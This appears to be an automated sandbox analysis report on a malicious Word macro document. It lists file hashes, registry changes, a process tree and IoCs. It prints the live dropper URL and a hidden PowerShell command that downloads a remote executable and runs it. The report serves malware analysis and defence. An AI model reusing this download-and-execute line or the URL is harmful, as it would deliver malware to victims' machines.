a544b4050677d9e5ad964398954cf7d74c96b65a1126a8bb3491fbe52ff0ec10

Analysis

max time kernel
101s
max time network
55s
platform
windows7_x64
resource
win7v20210408
submitted
27-07-2021 09:08

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General

Target

27-07-2021/27-07-2021/ETL_013265_601_0758.doc
Size

114KB
MD5

a35d5eec842a0785f5b461da949b00cb
SHA1

fec56ecc489b226da672ecd31428a568b3e9dd2b
SHA256

1f2a609fdb89b7fda367578568a00f9739105c8a01202fd7c8784515be4bdd35
SHA512

fe60851ff0f43f0f55aac199dbe53a4de8a28e34732a4d83cca2d9f9820141f5dfbbfd7e5973e4c4226a16e1f4962395c9a97015dabe86a817f6970c2777ff82

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://lifestyledrinks.hu/wp-includes/cs3/ETL_013265_601_0758.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	1600	1840	cmd.exe	WINWORD.EXE

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1840 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

556 powershell.exe
556 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 556 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1840 WINWORD.EXE
1840 WINWORD.EXE

pid	process
1840	WINWORD.EXE

pid	process
556	powershell.exe
556	powershell.exe

description	pid	process
Token: SeDebugPrivilege	556	powershell.exe

pid	process
1840	WINWORD.EXE
1840	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 1840 wrote to memory of 1600	1840	WINWORD.EXE	cmd.exe
PID 1840 wrote to memory of 1600	1840	WINWORD.EXE	cmd.exe
PID 1840 wrote to memory of 1600	1840	WINWORD.EXE	cmd.exe
PID 1840 wrote to memory of 1600	1840	WINWORD.EXE	cmd.exe
PID 1600 wrote to memory of 556	1600	cmd.exe	powershell.exe
PID 1600 wrote to memory of 556	1600	cmd.exe	powershell.exe
PID 1600 wrote to memory of 556	1600	cmd.exe	powershell.exe
PID 1600 wrote to memory of 556	1600	cmd.exe	powershell.exe
PID 1840 wrote to memory of 792	1840	WINWORD.EXE	splwow64.exe
PID 1840 wrote to memory of 792	1840	WINWORD.EXE	splwow64.exe
PID 1840 wrote to memory of 792	1840	WINWORD.EXE	splwow64.exe
PID 1840 wrote to memory of 792	1840	WINWORD.EXE	splwow64.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\27-07-2021\27-07-2021\ETL_013265_601_0758.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1840

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Public\Documents\buildingsociety.bat" "
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1600

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -w h Start-BitsTransfer -Source http://lifestyledrinks.hu/wp-includes/cs3/ETL_013265_601_0758.exe -Destination C:\Users\Public\Documents\factfriend.exe;C:\Users\Public\Documents\factfriend.exe
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:556

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:792

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Public\Documents\buildingsociety.bat
MD5
8ce32d29b2af7ed32efc563dee9903cf

SHA1
18d67217f1e8a07a311175a274a753a0af4b9f7b

SHA256
10f02361c25228a08242b6ddfd33e8b48ed0a647fe9d699ae5a8f55cd1a86573

SHA512
dfc9080e48c115d85a263db1375cbed73405e27e402e995f2b6dc88028d62e344870325bd139c2d8fb9861a3a856e7133fb48724caaa81d000ea528b9e7a47cc

Download Submit
memory/556-75-0x0000000006050000-0x0000000006051000-memory.dmp

Filesize
4KB

Download
memory/556-90-0x0000000005FD0000-0x0000000005FD1000-memory.dmp

Filesize
4KB

Download
memory/556-72-0x0000000005240000-0x0000000005241000-memory.dmp

Filesize
4KB

Download
memory/556-107-0x0000000006430000-0x0000000006431000-memory.dmp

Filesize
4KB

Download
memory/556-106-0x0000000006420000-0x0000000006421000-memory.dmp

Filesize
4KB

Download
memory/556-66-0x0000000000000000-mapping.dmp

Download
memory/556-68-0x0000000002570000-0x0000000002571000-memory.dmp

Filesize
4KB

Download
memory/556-69-0x0000000004690000-0x0000000004691000-memory.dmp

Filesize
4KB

Download
memory/556-70-0x0000000001DC0000-0x0000000002A0A000-memory.dmp

Filesize
12.3MB

Download
memory/556-80-0x0000000006090000-0x0000000006091000-memory.dmp

Filesize
4KB

Download
memory/556-92-0x00000000062F0000-0x00000000062F1000-memory.dmp

Filesize
4KB

Download
memory/556-89-0x0000000006280000-0x0000000006281000-memory.dmp

Filesize
4KB

Download
memory/556-71-0x0000000005100000-0x0000000005101000-memory.dmp

Filesize
4KB

Download
memory/556-81-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/556-82-0x0000000006160000-0x0000000006161000-memory.dmp

Filesize
4KB

Download
memory/792-108-0x0000000000000000-mapping.dmp

Download
memory/792-109-0x000007FEFC031000-0x000007FEFC033000-memory.dmp

Filesize
8KB

Download
memory/1600-64-0x0000000000000000-mapping.dmp

Download
memory/1840-110-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1840-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1840-63-0x0000000075551000-0x0000000075553000-memory.dmp

Filesize
8KB

Download
memory/1840-61-0x00000000705B1000-0x00000000705B3000-memory.dmp

Filesize
8KB

Download
memory/1840-60-0x0000000072B31000-0x0000000072B34000-memory.dmp

Filesize
12KB

Download